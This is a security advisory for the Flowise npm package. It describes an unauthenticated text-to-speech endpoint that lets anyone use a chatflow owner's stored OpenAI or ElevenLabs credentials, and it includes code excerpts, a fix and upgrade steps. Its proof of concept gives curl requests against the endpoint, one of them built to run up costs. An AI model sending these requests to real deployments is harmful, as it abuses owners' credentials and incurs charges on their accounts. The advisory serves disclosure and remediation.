GHSA-8gj2-2cvc-6xx7: Npm/flowise vulnerability
Summary
The /api/v1/text-to-speech/generate endpoint is whitelisted (requires no authentication) and accepts any chatflowId without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account.
Details
The TTS generateTextToSpeech controller at packages/server/src/controllers/text-to-speech/index.ts:10-171 is whitelisted at packages/server/src/utils/constants.ts:41:
typescript '/api/v1/text-to-speech/generate',
When a chatflowId is provided and the user is not authenticated (no req.user), the controller falls back to fetching the chatflow without workspace scoping:
typescript // packages/server/src/controllers/text-to-speech/index.ts:36-42 if (workspaceId) { chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId) } else { // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set chatflow = await chatflowsService.getChatflowById(chatflowId) // NO isPublic check workspaceId = chatflow.workspaceId }
The getChatflowById function at packages/server/src/services/chatflows/index.ts:247-272 fetches any chatflow by ID when workspaceId is not provided:
typescript const dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({ where: { id: chatflowId, ...(workspaceId ? { workspaceId } : {}) // No workspace filter when workspaceId is undefined } })
The controller then extracts the TTS provider configuration from the chatflow:
typescript // packages/server/src/controllers/text-to-speech/index.ts:51-66 const ttsConfig = JSON.parse(chatflow.textToSpeech) const activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true) const providerConfig = ttsConfig[activeProviderKey] provider = activeProviderKey credentialId = providerConfig.credentialId // Extracted from private chatflow
This credentialId is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at packages/components/src/textToSpeech.ts:33-34:
typescript const credentialId = textToSpeechConfig.credentialId as string const credentialData = await getCredentialData(credentialId ?? '', options)
PoC
bash Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private) CHATFLOWID="<any-chatflow-uuid-with-tts-enabled>"
Step 2: Abuse the TTS credential to generate audio without authentication curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \ -H "Content-Type: application/json" \ -d '{ "chatflowId": "'${CHATFLOWID}'", "chatId": "attacker-chat-1", "chatMessageId": "msg-1", "text": "This is a test of unauthorized TTS generation using someone elses API key" }'
Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials event: ttsstart data: {"event":"ttsstart","data":{"chatMessageId":"msg-1","format":"mp3"}} event: ttsdata data: {"event":"ttsdata","data":{"chatMessageId":"msg-1","audioChunk":"<base64-audio>"}}
Step 3: Repeat with large text to incur costs curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \ -H "Content-Type: application/json" \ -d '{ "chatflowId": "'${CHATFLOWID}'", "chatId": "attacker-chat-2", "chatMessageId": "msg-2", "text": "'$(python3 -c "print('A' 4096)")'" }'
Impact
- Financial Impact: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio. - Credential Abuse: The attacker effectively gains indirect access to the stored API credentials without needing to authenticate or have any permissions. The credentials are not directly exposed but are used on behalf of the attacker. - Denial of Service: By exhausting the API quota/budget of the credential, the attacker can deny service to legitimate users of the chatflow. - Affects Private Chatflows: This vulnerability affects all chatflows with TTS configured, including those explicitly marked as private (isPublic: false).
Recommended Fix
1. Check isPublic before allowing unauthenticated TTS generation:
typescript // packages/server/src/controllers/text-to-speech/index.ts if (chatflowId) { let chatflow; let workspaceId = req.user?.activeWorkspaceId; if (workspaceId) { chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId) } else { chatflow = await chatflowsService.getChatflowById(chatflowId) // Verify the chatflow is public before using its credentials if (!chatflow.isPublic) { throw new InternalFlowiseError( StatusCodes.UNAUTHORIZED, 'TTS generation requires authentication for non-public chatflows' ) } workspaceId = chatflow.workspaceId } // ... rest of the function }
2. Consider applying rate limiting to the TTS endpoint to prevent abuse even for public chatflows.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/flowiseto a version that resolves this vulnerability.Fixed in 3.1.4 - Configuration
Update the TTS generation controller whitelisting so that `/api/v1/text-to-speech/generate` is not accessible without authentication. The material states the endpoint is whitelisted (no authentication) and accepts any `chatflowId`.
Flowise server (/api/v1/text-to-speech/generate) Authentication requirement for TTS generation (controller whitelisting) = Require authentication for unauthenticated requests (remove/disable unauthenticated whitelist) - Configuration
Fix `getChatflowById` so that when `workspaceId` is undefined (e.g., no `req.user`), it does not return private chatflows; add/restore an `isPublic` check (material notes `getChatflowById` fetches any chatflow by ID when `workspaceId` is not provided, and there is explicitly 'NO isPublic check').
Flowise server (packages/server/src/services/chatflows/index.ts getChatflowById) Workspace scoping / chatflow visibility check = When `workspaceId` is not provided (unauthenticated), do not fetch private chatflows by ID; enforce `isPublic` check - Configuration
In `generateTextToSpeech` (TTS `generate` controller), check `isPublic` for the referenced `chatflowId` before extracting/decrypting provider credentials; ensure private chatflows (`isPublic: false`) cannot be used for unauthenticated TTS generation (material states recommended fix: 'Check `isPublic` before allowing unauthenticated TTS generation').
Flowise server (packages/server/src/controllers/text-to-speech/index.ts) Access control for TTS based on chatflow privacy = Deny unauthenticated TTS generation when `chatflow.isPublic` is false - Compensating control
Add rate limiting/quotas to the `/api/v1/text-to-speech/generate` endpoint to prevent quota/budget exhaustion (material explicitly recommends rate limiting to prevent abuse even for public chatflows).